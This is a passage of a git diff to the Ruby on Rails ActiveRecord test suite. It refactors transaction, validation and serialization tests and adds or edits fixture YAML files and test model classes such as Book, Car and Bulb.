Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
@@ -377,24 +427,35 @@ class TransactionTest < ActiveRecord::TestCase
topic = Topic.new(:title => 'test')
topic.freeze
e = assert_raise(RuntimeError) { topic.save }
- assert_equal "can't modify frozen Hash", e.message
+ assert_match(/frozen/i, e.message) # Not good enough, but we can't do much
+ # about it since there is no specific error
+ # for frozen objects.
assert !topic.persisted?, 'not persisted'
assert_nil topic.id
assert topic.frozen?, 'not frozen'
end
def test_restore_active_record_state_for_all_records_in_a_transaction
+ topic_without_callbacks = Class.new(ActiveRecord::Base) do
+ self.table_name = 'topics'
+ end
+
topic_1 = Topic.new(:title => 'test_1')
topic_2 = Topic.new(:title => 'test_2')
+ topic_3 = topic_without_callbacks.new(:title => 'test_3')
+
Topic.transaction do
assert topic_1.save
assert topic_2.save
+ assert topic_3.save
@first.save
@second.destroy
assert topic_1.persisted?, 'persisted'
assert_not_nil topic_1.id
assert topic_2.persisted?, 'persisted'
assert_not_nil topic_2.id
+ assert topic_3.persisted?, 'persisted'
+ assert_not_nil topic_3.id
assert @first.persisted?, 'persisted'
assert_not_nil @first.id
assert @second.destroyed?, 'destroyed'
@@ -405,21 +466,13 @@ class TransactionTest < ActiveRecord::TestCase
assert_nil topic_1.id
assert !topic_2.persisted?, 'not persisted'
assert_nil topic_2.id
+ assert !topic_3.persisted?, 'not persisted'
+ assert_nil topic_3.id
assert @first.persisted?, 'persisted'
assert_not_nil @first.id
assert !@second.destroyed?, 'not destroyed'
end
- if current_adapter?(:PostgreSQLAdapter) && defined?(PGconn::PQTRANS_IDLE)
- def test_outside_transaction_works
- assert assert_deprecated { Topic.connection.outside_transaction? }
- Topic.connection.begin_db_transaction
- assert assert_deprecated { !Topic.connection.outside_transaction? }
- Topic.connection.rollback_db_transaction
- assert assert_deprecated { Topic.connection.outside_transaction? }
- end
- end
-
def test_sqlite_add_column_in_transaction
return true unless current_adapter?(:SQLite3Adapter)
@@ -449,6 +502,13 @@ class TransactionTest < ActiveRecord::TestCase
raise ActiveRecord::Rollback
end
end
+ ensure
+ begin
+ Topic.connection.remove_column('topics', 'stuff')
+ rescue
+ ensure
+ Topic.reset_column_information
+ end
end
def test_transactions_state_from_rollback
@@ -535,16 +595,16 @@ if current_adapter?(:PostgreSQLAdapter)
class ConcurrentTransactionTest < TransactionTest
# This will cause transactions to overlap and fail unless they are performed on
# separate database connections.
- def test_transaction_per_thread
- assert_nothing_raised do
- threads = (1..3).map do
+ unless in_memory_db?
+ def test_transaction_per_thread
+ threads = 3.times.map do
Thread.new do
Topic.transaction do
topic = Topic.find(1)
topic.approved = !topic.approved?
- topic.save!
+ assert topic.save!
topic.approved = !topic.approved?
- topic.save!
+ assert topic.save!
end
Topic.connection.close
end
@@ -603,14 +663,5 @@ if current_adapter?(:PostgreSQLAdapter)
assert_equal original_salary, Developer.find(1).salary
end
-
- test "#transaction_joinable= is deprecated" do
- Developer.transaction do
- conn = Developer.connection
- assert conn.current_transaction.joinable?
- assert_deprecated { conn.transaction_joinable = false }
- assert !conn.current_transaction.joinable?
- end
- end
end
end
diff --git a/activerecord/test/cases/unconnected_test.rb b/activerecord/test/cases/unconnected_test.rb
index e82ca3f93d..afb893a52c 100644
--- a/activerecord/test/cases/unconnected_test.rb
+++ b/activerecord/test/cases/unconnected_test.rb
@@ -11,7 +11,7 @@ class TestUnconnectedAdapter < ActiveRecord::TestCase
@specification = ActiveRecord::Base.remove_connection
end
- def teardown
+ teardown do
@underlying = nil
ActiveRecord::Base.establish_connection(@specification)
load_schema if in_memory_db?
diff --git a/activerecord/test/cases/validations/association_validation_test.rb b/activerecord/test/cases/validations/association_validation_test.rb
index 7e92a2b127..e4edc437e6 100644
--- a/activerecord/test/cases/validations/association_validation_test.rb
+++ b/activerecord/test/cases/validations/association_validation_test.rb
@@ -1,39 +1,13 @@
-# encoding: utf-8
require "cases/helper"
require 'models/topic'
require 'models/reply'
-require 'models/owner'
-require 'models/pet'
require 'models/man'
require 'models/interest'
class AssociationValidationTest < ActiveRecord::TestCase
- fixtures :topics, :owners
+ fixtures :topics
- repair_validations(Topic, Reply, Owner)
-
- def test_validates_size_of_association
- assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
- o = Owner.new('name' => 'nopets')
- assert !o.save
- assert o.errors[:pets].any?
- o.pets.build('name' => 'apet')
- assert o.valid?
- end
-
- def test_validates_size_of_association_using_within
- assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
- o = Owner.new('name' => 'nopets')
- assert !o.save
- assert o.errors[:pets].any?
-
- o.pets.build('name' => 'apet')
- assert o.valid?
-
- 2.times { o.pets.build('name' => 'apet') }
- assert !o.save
- assert o.errors[:pets].any?
- end
+ repair_validations(Topic, Reply)
def test_validates_associated_many
Topic.validates_associated(:replies)
@@ -90,15 +64,6 @@ class AssociationValidationTest < ActiveRecord::TestCase
assert r.valid?
end
- def test_validates_size_of_association_utf8
- assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
- o = Owner.new('name' => 'あいうえおかきくけこ')
- assert !o.save
- assert o.errors[:pets].any?
- o.pets.build('name' => 'あいうえおかきくけこ')
- assert o.valid?
- end
-
def test_validates_presence_of_belongs_to_association__parent_is_new_record
repair_validations(Interest) do
# Note that Interest and Man have the :inverse_of option set
diff --git a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
index 32d2bf746f..13d4d85afa 100644
--- a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -3,7 +3,7 @@ require 'models/topic'
class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
def setup
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
@topic = Topic.new
I18n.backend = I18n::Backend::Simple.new
end
@@ -55,22 +55,30 @@ class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
end
test "translation for 'taken' can be overridden" do
- I18n.backend.store_translations "en", {errors: {attributes: {title: {taken: "Custom taken message" }}}}
- assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ reset_i18n_load_path do
+ I18n.backend.store_translations "en", {errors: {attributes: {title: {taken: "Custom taken message" }}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
end
test "translation for 'taken' can be overridden in activerecord scope" do
- I18n.backend.store_translations "en", {activerecord: {errors: {messages: {taken: "Custom taken message" }}}}
- assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ reset_i18n_load_path do
+ I18n.backend.store_translations "en", {activerecord: {errors: {messages: {taken: "Custom taken message" }}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
end
test "translation for 'taken' can be overridden in activerecord model scope" do
- I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {taken: "Custom taken message" }}}}}
- assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ reset_i18n_load_path do
+ I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {taken: "Custom taken message" }}}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
end
test "translation for 'taken' can be overridden in activerecord attributes scope" do
- I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {attributes: {title: {taken: "Custom taken message" }}}}}}}
- assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ reset_i18n_load_path do
+ I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {attributes: {title: {taken: "Custom taken message" }}}}}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
end
end
diff --git a/activerecord/test/cases/validations/i18n_validation_test.rb b/activerecord/test/cases/validations/i18n_validation_test.rb
index efa0c9b934..3db742c15b 100644
--- a/activerecord/test/cases/validations/i18n_validation_test.rb
+++ b/activerecord/test/cases/validations/i18n_validation_test.rb
@@ -14,7 +14,7 @@ class I18nValidationTest < ActiveRecord::TestCase
I18n.backend.store_translations('en', :errors => {:messages => {:custom => nil}})
end
- def teardown
+ teardown do
I18n.load_path.replace @old_load_path
I18n.backend = @old_backend
end
diff --git a/activerecord/test/cases/validations/length_validation_test.rb b/activerecord/test/cases/validations/length_validation_test.rb
new file mode 100644
index 0000000000..4a92da38ce
--- /dev/null
+++ b/activerecord/test/cases/validations/length_validation_test.rb
@@ -0,0 +1,47 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'models/owner'
+require 'models/pet'
+
+class LengthValidationTest < ActiveRecord::TestCase
+ fixtures :owners
+ repair_validations(Owner)
+
+ def test_validates_size_of_association
+ repair_validations Owner do
+ assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+ o = Owner.new('name' => 'nopets')
+ assert !o.save
+ assert o.errors[:pets].any?
+ o.pets.build('name' => 'apet')
+ assert o.valid?
+ end
+ end
+
+ def test_validates_size_of_association_using_within
+ repair_validations Owner do
+ assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
+ o = Owner.new('name' => 'nopets')
+ assert !o.save
+ assert o.errors[:pets].any?
+
+ o.pets.build('name' => 'apet')
+ assert o.valid?
+
+ 2.times { o.pets.build('name' => 'apet') }
+ assert !o.save
+ assert o.errors[:pets].any?
+ end
+ end
+
+ def test_validates_size_of_association_utf8
+ repair_validations Owner do
+ assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+ o = Owner.new('name' => 'あいうえおかきくけこ')
+ assert !o.save
+ assert o.errors[:pets].any?
+ o.pets.build('name' => 'あいうえおかきくけこ')
+ assert o.valid?
+ end
+ end
+end
diff --git a/activerecord/test/cases/validations/presence_validation_test.rb b/activerecord/test/cases/validations/presence_validation_test.rb
index 1de8934406..3790d3c8cf 100644
--- a/activerecord/test/cases/validations/presence_validation_test.rb
+++ b/activerecord/test/cases/validations/presence_validation_test.rb
@@ -3,6 +3,8 @@ require "cases/helper"
require 'models/man'
require 'models/face'
require 'models/interest'
+require 'models/speedometer'
+require 'models/dashboard'
class PresenceValidationTest < ActiveRecord::TestCase
class Boy < Man; end
@@ -48,4 +50,18 @@ class PresenceValidationTest < ActiveRecord::TestCase
i2.mark_for_destruction
assert b.invalid?
end
+
+ def test_validates_presence_doesnt_convert_to_array
+ Speedometer.validates_presence_of :dashboard
+
+ dash = Dashboard.new
+
+ # dashboard has to_a method
+ def dash.to_a; ['(/)', '(\)']; end
+
+ s = Speedometer.new
+ s.dashboard = dash
+
+ assert_nothing_raised { s.valid? }
+ end
end
diff --git a/activerecord/test/cases/validations/uniqueness_validation_test.rb b/activerecord/test/cases/validations/uniqueness_validation_test.rb
index 2b33f01783..18221cc73d 100644
--- a/activerecord/test/cases/validations/uniqueness_validation_test.rb
+++ b/activerecord/test/cases/validations/uniqueness_validation_test.rb
@@ -35,6 +35,11 @@ class Employee < ActiveRecord::Base
validates_uniqueness_of :nicknames
end
+class TopicWithUniqEvent < Topic
+ belongs_to :event, foreign_key: :parent_id
+ validates :event, uniqueness: true
+end
+
class UniquenessValidationTest < ActiveRecord::TestCase
fixtures :topics, 'warehouse-things', :developers
@@ -58,6 +63,14 @@ class UniquenessValidationTest < ActiveRecord::TestCase
assert t2.save, "Should now save t2 as unique"
end
+ def test_validate_uniqueness_with_alias_attribute
+ Topic.alias_attribute :new_title, :title
+ Topic.validates_uniqueness_of(:new_title)
+
+ topic = Topic.new(new_title: 'abc')
+ assert topic.valid?
+ end
+
def test_validates_uniqueness_with_nil_value
Topic.validates_uniqueness_of(:title)
@@ -210,7 +223,7 @@ class UniquenessValidationTest < ActiveRecord::TestCase
assert t_utf8.save, "Should save t_utf8 as unique"
# If database hasn't UTF-8 character set, this test fails
- if Topic.all.merge!(:select => 'LOWER(title) AS title').find(t_utf8).title == "я тоже уникальный!"
+ if Topic.all.merge!(:select => 'LOWER(title) AS title').find(t_utf8.id).title == "я тоже уникальный!"
t2_utf8 = Topic.new("title" => "я тоже УНИКАЛЬНЫЙ!")
assert !t2_utf8.valid?, "Shouldn't be valid"
assert !t2_utf8.save, "Shouldn't save t2_utf8 as unique"
@@ -365,15 +378,29 @@ class UniquenessValidationTest < ActiveRecord::TestCase
}
end
- def test_validate_uniqueness_with_array_column
- return skip "Uniqueness on arrays has only been tested in PostgreSQL so far." if !current_adapter? :PostgreSQLAdapter
+ if current_adapter? :PostgreSQLAdapter
+ def test_validate_uniqueness_with_array_column
+ e1 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [1000, 1200])
+ assert e1.persisted?, "Saving e1"
- e1 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [1000, 1200])
- assert e1.persisted?, "Saving e1"
+ e2 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [2200])
+ assert !e2.persisted?, "e2 shouldn't be valid"
+ assert e2.errors[:nicknames].any?, "Should have errors for nicknames"
+ assert_equal ["has already been taken"], e2.errors[:nicknames], "Should have uniqueness message for nicknames"
+ end
+ end
+
+ def test_validate_uniqueness_on_existing_relation
+ event = Event.create
+ assert TopicWithUniqEvent.create(event: event).valid?
+
+ topic = TopicWithUniqEvent.new(event: event)
+ assert_not topic.valid?
+ assert_equal ['has already been taken'], topic.errors[:event]
+ end
- e2 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [2200])
- assert !e2.persisted?, "e2 shouldn't be valid"
- assert e2.errors[:nicknames].any?, "Should have errors for nicknames"
- assert_equal ["has already been taken"], e2.errors[:nicknames], "Should have uniqueness message for nicknames"
+ def test_validate_uniqueness_on_empty_relation
+ topic = TopicWithUniqEvent.new
+ assert topic.valid?
end
end
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index 3f587d177b..d80da06e27 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -52,17 +52,30 @@ class ValidationsTest < ActiveRecord::TestCase
assert r.save(:context => :special_case)
end
+ def test_validate
+ r = WrongReply.new
+
+ r.validate
+ assert_empty r.errors[:author_name]
+
+ r.validate(:special_case)
+ assert_not_empty r.errors[:author_name]
+
+ r.author_name = "secret"
+
+ r.validate(:special_case)
+ assert_empty r.errors[:author_name]
+ end
+
def test_invalid_record_exception
assert_raise(ActiveRecord::RecordInvalid) { WrongReply.create! }
assert_raise(ActiveRecord::RecordInvalid) { WrongReply.new.save! }
- begin
- r = WrongReply.new
+ r = WrongReply.new
+ invalid = assert_raise ActiveRecord::RecordInvalid do
r.save!
- flunk
- rescue ActiveRecord::RecordInvalid => invalid
- assert_equal r, invalid.record
end
+ assert_equal r, invalid.record
end
def test_exception_on_create_bang_many
@@ -93,7 +106,7 @@ class ValidationsTest < ActiveRecord::TestCase
assert reply.save(:validate => false)
end
- def test_validates_acceptance_of_with_non_existant_table
+ def test_validates_acceptance_of_with_non_existent_table
Object.const_set :IncorporealModel, Class.new(ActiveRecord::Base)
assert_nothing_raised ActiveRecord::StatementInvalid do
diff --git a/activerecord/test/cases/xml_serialization_test.rb b/activerecord/test/cases/xml_serialization_test.rb
index 68fa15de50..3cb617497d 100644
--- a/activerecord/test/cases/xml_serialization_test.rb
+++ b/activerecord/test/cases/xml_serialization_test.rb
@@ -1,4 +1,5 @@
require "cases/helper"
+require "rexml/document"
require 'models/contact'
require 'models/post'
require 'models/author'
@@ -161,21 +162,17 @@ end
class DefaultXmlSerializationTimezoneTest < ActiveRecord::TestCase
def test_should_serialize_datetime_with_timezone
- timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
-
- toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1))
- assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
- ensure
- Time.zone = timezone
+ with_timezone_config zone: "Pacific Time (US & Canada)" do
+ toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1))
+ assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+ end
end
def test_should_serialize_datetime_with_timezone_reloaded
- timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
-
- toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload
- assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
- ensure
- Time.zone = timezone
+ with_timezone_config zone: "Pacific Time (US & Canada)" do
+ toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload
+ assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+ end
end
end
diff --git a/activerecord/test/cases/yaml_serialization_test.rb b/activerecord/test/cases/yaml_serialization_test.rb
index 302913e095..15815d56e4 100644
--- a/activerecord/test/cases/yaml_serialization_test.rb
+++ b/activerecord/test/cases/yaml_serialization_test.rb
@@ -5,16 +5,10 @@ class YamlSerializationTest < ActiveRecord::TestCase
fixtures :topics
def test_to_yaml_with_time_with_zone_should_not_raise_exception
- tz = Time.zone
- Time.zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
- ActiveRecord::Base.time_zone_aware_attributes = true
-
- topic = Topic.new(:written_on => DateTime.now)
- assert_nothing_raised { topic.to_yaml }
-
- ensure
- Time.zone = tz
- ActiveRecord::Base.time_zone_aware_attributes = false
+ with_timezone_config aware_attributes: true, zone: "Pacific Time (US & Canada)" do
+ topic = Topic.new(:written_on => DateTime.now)
+ assert_nothing_raised { topic.to_yaml }
+ end
end
def test_roundtrip
@@ -49,4 +43,8 @@ class YamlSerializationTest < ActiveRecord::TestCase
t = Psych.load Psych.dump topic
assert_equal topic.attributes, t.attributes
end
+
+ def test_active_record_relation_serialization
+ [Topic.all].to_yaml
+ end
end
diff --git a/activerecord/test/fixtures/all/admin b/activerecord/test/fixtures/all/admin
new file mode 120000
index 0000000000..984d12a043
--- /dev/null
+++ b/activerecord/test/fixtures/all/admin
@@ -0,0 +1 @@
+../to_be_linked/ \ No newline at end of file
diff --git a/activerecord/test/fixtures/companies.yml b/activerecord/test/fixtures/companies.yml
index 0766e92027..ab9d5378ad 100644
--- a/activerecord/test/fixtures/companies.yml
+++ b/activerecord/test/fixtures/companies.yml
@@ -57,3 +57,11 @@ odegy:
id: 9
name: Odegy
type: ExclusivelyDependentFirm
+
+another_first_firm_client:
+ id: 11
+ type: Client
+ firm_id: 1
+ client_of: 1
+ name: Apex
+ firm_name: 37signals
diff --git a/activerecord/test/fixtures/computers.yml b/activerecord/test/fixtures/computers.yml
index daf969d7da..7281a4d768 100644
--- a/activerecord/test/fixtures/computers.yml
+++ b/activerecord/test/fixtures/computers.yml
@@ -1,4 +1,5 @@
workstation:
id: 1
+ system: 'Linux'
developer: 1
extendedWarranty: 1
diff --git a/activerecord/test/fixtures/owners.yml b/activerecord/test/fixtures/owners.yml
index 2d21ce433c..3b7b29bb34 100644
--- a/activerecord/test/fixtures/owners.yml
+++ b/activerecord/test/fixtures/owners.yml
@@ -2,6 +2,7 @@ blackbeard:
owner_id: 1
name: blackbeard
essay_id: A Modest Proposal
+ happy_at: '2150-10-10 16:00:00'
ashley:
owner_id: 2
diff --git a/activerecord/test/fixtures/pirates.yml b/activerecord/test/fixtures/pirates.yml
index 6004f390a4..1bb3bf0051 100644
--- a/activerecord/test/fixtures/pirates.yml
+++ b/activerecord/test/fixtures/pirates.yml
@@ -7,3 +7,6 @@ redbeard:
parrot: louis
created_on: "<%= 2.weeks.ago.to_s(:db) %>"
updated_on: "<%= 2.weeks.ago.to_s(:db) %>"
+
+mark:
+ catchphrase: "X $LABELs the spot!"
diff --git a/activerecord/test/fixtures/sponsors.yml b/activerecord/test/fixtures/sponsors.yml
index bfc6b238b1..2da541c539 100644
--- a/activerecord/test/fixtures/sponsors.yml
+++ b/activerecord/test/fixtures/sponsors.yml
@@ -8,5 +8,5 @@ boring_club_sponsor_for_groucho:
sponsorable_type: Member
crazy_club_sponsor_for_groucho:
sponsor_club: crazy_club
- sponsorable_id: 2
+ sponsorable_id: 3
sponsorable_type: Member
diff --git a/activerecord/test/fixtures/tasks.yml b/activerecord/test/fixtures/tasks.yml
index 402ca85faf..c38b32b0e5 100644
--- a/activerecord/test/fixtures/tasks.yml
+++ b/activerecord/test/fixtures/tasks.yml
@@ -1,4 +1,4 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
first_task:
id: 1
starting: 2005-03-30t06:30:00.00+01:00
diff --git a/activerecord/test/fixtures/to_be_linked/accounts.yml b/activerecord/test/fixtures/to_be_linked/accounts.yml
new file mode 100644
index 0000000000..9e341a15af
--- /dev/null
+++ b/activerecord/test/fixtures/to_be_linked/accounts.yml
@@ -0,0 +1,2 @@
+signals37:
+ name: 37signals
diff --git a/activerecord/test/fixtures/to_be_linked/users.yml b/activerecord/test/fixtures/to_be_linked/users.yml
new file mode 100644
index 0000000000..e2884beda5
--- /dev/null
+++ b/activerecord/test/fixtures/to_be_linked/users.yml
@@ -0,0 +1,10 @@
+david:
+ name: David
+ account: signals37
+
+jamis:
+ name: Jamis
+ account: signals37
+ settings:
+ :symbol: symbol
+ string: string
diff --git a/activerecord/test/fixtures/topics.yml b/activerecord/test/fixtures/topics.yml
index 2b042bd135..bf049abbf1 100644
--- a/activerecord/test/fixtures/topics.yml
+++ b/activerecord/test/fixtures/topics.yml
@@ -40,3 +40,10 @@ fourth:
type: Reply
parent_id: 3
+fifth:
+ id: 5
+ title: The Fifth Topic of the day
+ author_name: Jason
+ written_on: 2013-07-13t12:11:00.0099+01:00
+ content: Omakase
+ approved: true
diff --git a/activerecord/test/fixtures/uuid_children.yml b/activerecord/test/fixtures/uuid_children.yml
new file mode 100644
index 0000000000..a7b15016e2
--- /dev/null
+++ b/activerecord/test/fixtures/uuid_children.yml
@@ -0,0 +1,3 @@
+sonny:
+ uuid_parent: daddy
+ name: Sonny
diff --git a/activerecord/test/fixtures/uuid_parents.yml b/activerecord/test/fixtures/uuid_parents.yml
new file mode 100644
index 0000000000..0b40225c5c
--- /dev/null
+++ b/activerecord/test/fixtures/uuid_parents.yml
@@ -0,0 +1,2 @@
+daddy:
+ name: Daddy
diff --git a/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
new file mode 100644
index 0000000000..9d46485a31
--- /dev/null
+++ b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
@@ -0,0 +1,8 @@
+class MigrationVersionCheck < ActiveRecord::Migration
+ def self.up
+ raise "incorrect migration version" unless version == 20131219224947
+ end
+
+ def self.down
+ end
+end
diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
index 4c3b71e8f9..48a110bd23 100644
--- a/activerecord/test/models/admin/user.rb
+++ b/activerecord/test/models/admin/user.rb
@@ -14,6 +14,7 @@ class Admin::User < ActiveRecord::Base
end
belongs_to :account
+ store :params, accessors: [ :token ], coder: YAML
store :settings, :accessors => [ :color, :homepage ]
store_accessor :settings, :favorite_food
store :preferences, :accessors => [ :remember_login ]
diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb
index af80b1ba42..c197951c71 100644
--- a/activerecord/test/models/author.rb
+++ b/activerecord/test/models/author.rb
@@ -8,12 +8,14 @@ class Author < ActiveRecord::Base
has_many :posts_sorted_by_id_limited, -> { order('posts.id').limit(1) }, :class_name => "Post"
has_many :posts_with_categories, -> { includes(:categories) }, :class_name => "Post"
has_many :posts_with_comments_and_categories, -> { includes(:comments, :categories).order("posts.id") }, :class_name => "Post"
- has_many :posts_containing_the_letter_a, :class_name => "Post"
has_many :posts_with_special_categorizations, :class_name => 'PostWithSpecialCategorization'
- has_many :posts_with_extension, :class_name => "Post"
has_one :post_about_thinking, -> { where("posts.title like '%thinking%'") }, :class_name => 'Post'
has_one :post_about_thinking_with_last_comment, -> { where("posts.title like '%thinking%'").includes(:last_comment) }, :class_name => 'Post'
- has_many :comments, :through => :posts
+ has_many :comments, through: :posts do
+ def ratings
+ Rating.joins(:comment).merge(self)
+ end
+ end
has_many :comments_containing_the_letter_e, :through => :posts, :source => :comments
has_many :comments_with_order_and_conditions, -> { order('comments.body').where("comments.body like 'Thank%'") }, :through => :posts, :source => :comments
has_many :comments_with_include, -> { includes(:post) }, :through => :posts, :source => :comments
@@ -27,8 +29,14 @@ class Author < ActiveRecord::Base
has_many :thinking_posts, -> { where(:title => 'So I was thinking') }, :dependent => :delete_all, :class_name => 'Post'
has_many :welcome_posts, -> { where(:title => 'Welcome to the weblog') }, :class_name => 'Post'
+ has_many :welcome_posts_with_one_comment,
+ -> { where(title: 'Welcome to the weblog').where('comments_count = ?', 1) },
+ class_name: 'Post'
+ has_many :welcome_posts_with_comments,
+ -> { where(title: 'Welcome to the weblog').where(Post.arel_table[:comments_count].gt(0)) },
+ class_name: 'Post'
+
has_many :comments_desc, -> { order('comments.id DESC') }, :through => :posts, :source => :comments
- has_many :limited_comments, -> { limit(1) }, :through => :posts, :source => :comments
has_many :funky_comments, :through => :posts, :source => :comments
has_many :ordered_uniq_comments, -> { distinct.order('comments.id') }, :through => :posts, :source => :comments
has_many :ordered_uniq_comments_desc, -> { distinct.order('comments.id DESC') }, :through => :posts, :source => :comments
diff --git a/activerecord/test/models/auto_id.rb b/activerecord/test/models/auto_id.rb
index d720e2be5e..82c6544bd5 100644
--- a/activerecord/test/models/auto_id.rb
+++ b/activerecord/test/models/auto_id.rb
@@ -1,4 +1,4 @@
class AutoId < ActiveRecord::Base
- def self.table_name () "auto_id_tests" end
- def self.primary_key () "auto_id" end
+ self.table_name = "auto_id_tests"
+ self.primary_key = "auto_id"
end
diff --git a/activerecord/test/models/book.rb b/activerecord/test/models/book.rb
index 5458a28cc9..2170018068 100644
--- a/activerecord/test/models/book.rb
+++ b/activerecord/test/models/book.rb
@@ -2,8 +2,17 @@ class Book < ActiveRecord::Base
has_many :authors
has_many :citations, :foreign_key => 'book1_id'
- has_many :references, -> { distinct }, :through => :citations, :source => :reference_of
+ has_many :references, -> { distinct }, through: :citations, source: :reference_of
has_many :subscriptions
- has_many :subscribers, :through => :subscriptions
+ has_many :subscribers, through: :subscriptions
+
+ enum status: [:proposed, :written, :published]
+ enum read_status: {unread: 0, reading: 2, read: 3}
+ enum nullable_status: [:single, :married]
+
+ def published!
+ super
+ "do publish work..."
+ end
end
diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb
index 0109ef4f83..831a0d5387 100644
--- a/activerecord/test/models/bulb.rb
+++ b/activerecord/test/models/bulb.rb
@@ -37,3 +37,15 @@ class CustomBulb < Bulb
self.frickinawesome = true if name == 'Dude'
end
end
+
+class FunkyBulb < Bulb
+ before_destroy do
+ raise "before_destroy was called"
+ end
+end
+
+class FailedBulb < Bulb
+ before_destroy do
+ false
+ end
+end
diff --git a/activerecord/test/models/cake_designer.rb b/activerecord/test/models/cake_designer.rb
new file mode 100644
index 0000000000..9c57ef573a
--- /dev/null
+++ b/activerecord/test/models/cake_designer.rb
@@ -0,0 +1,3 @@
+class CakeDesigner < ActiveRecord::Base
+ has_one :chef, as: :employable
+end
diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb
index ac42f444e1..db0f93f63b 100644
--- a/activerecord/test/models/car.rb
+++ b/activerecord/test/models/car.rb
@@ -1,11 +1,11 @@
class Car < ActiveRecord::Base
-
has_many :bulbs
+ has_many :all_bulbs, -> { unscope where: :name }, class_name: "Bulb"
+ has_many :funky_bulbs, class_name: 'FunkyBulb', dependent: :destroy
+ has_many :failed_bulbs, class_name: 'FailedBulb', dependent: :destroy
has_many :foo_bulbs, -> { where(:name => 'foo') }, :class_name => "Bulb"
- has_many :frickinawesome_bulbs, -> { where :frickinawesome => true }, :class_name => "Bulb"
has_one :bulb
- has_one :frickinawesome_bulb, -> { where :frickinawesome => true }, :class_name => "Bulb"
has_many :tyres
has_many :engines, :dependent => :destroy
@@ -15,7 +15,6 @@ class Car < ActiveRecord::Base
scope :incl_engines, -> { includes(:engines) }
scope :order_using_new_style, -> { order('name asc') }
-
end
class CoolCar < Car
diff --git a/activerecord/test/models/category.rb b/activerecord/test/models/category.rb
index 7da39a8e33..272223e1d8 100644
--- a/activerecord/test/models/category.rb
+++ b/activerecord/test/models/category.rb
@@ -22,6 +22,7 @@ class Category < ActiveRecord::Base
end
has_many :categorizations
+ has_many :special_categorizations
has_many :post_comments, :through => :posts, :source => :comments
has_many :authors, :through => :categorizations
diff --git a/activerecord/test/models/chef.rb b/activerecord/test/models/chef.rb
new file mode 100644
index 0000000000..67a4e54f06
--- /dev/null
+++ b/activerecord/test/models/chef.rb
@@ -0,0 +1,3 @@
+class Chef < ActiveRecord::Base
+ belongs_to :employable, polymorphic: true
+end
diff --git a/activerecord/test/models/citation.rb b/activerecord/test/models/citation.rb
index 545aa8110d..3d87eb795c 100644
--- a/activerecord/test/models/citation.rb
+++ b/activerecord/test/models/citation.rb
@@ -1,6 +1,3 @@
class Citation < ActiveRecord::Base
belongs_to :reference_of, :class_name => "Book", :foreign_key => :book2_id
-
- belongs_to :book1, :class_name => "Book", :foreign_key => :book1_id
- belongs_to :book2, :class_name => "Book", :foreign_key => :book2_id
end
diff --git a/activerecord/test/models/club.rb b/activerecord/test/models/club.rb
index 816c5e6937..a762ad4bb5 100644
--- a/activerecord/test/models/club.rb
+++ b/activerecord/test/models/club.rb
@@ -2,11 +2,12 @@ class Club < ActiveRecord::Base
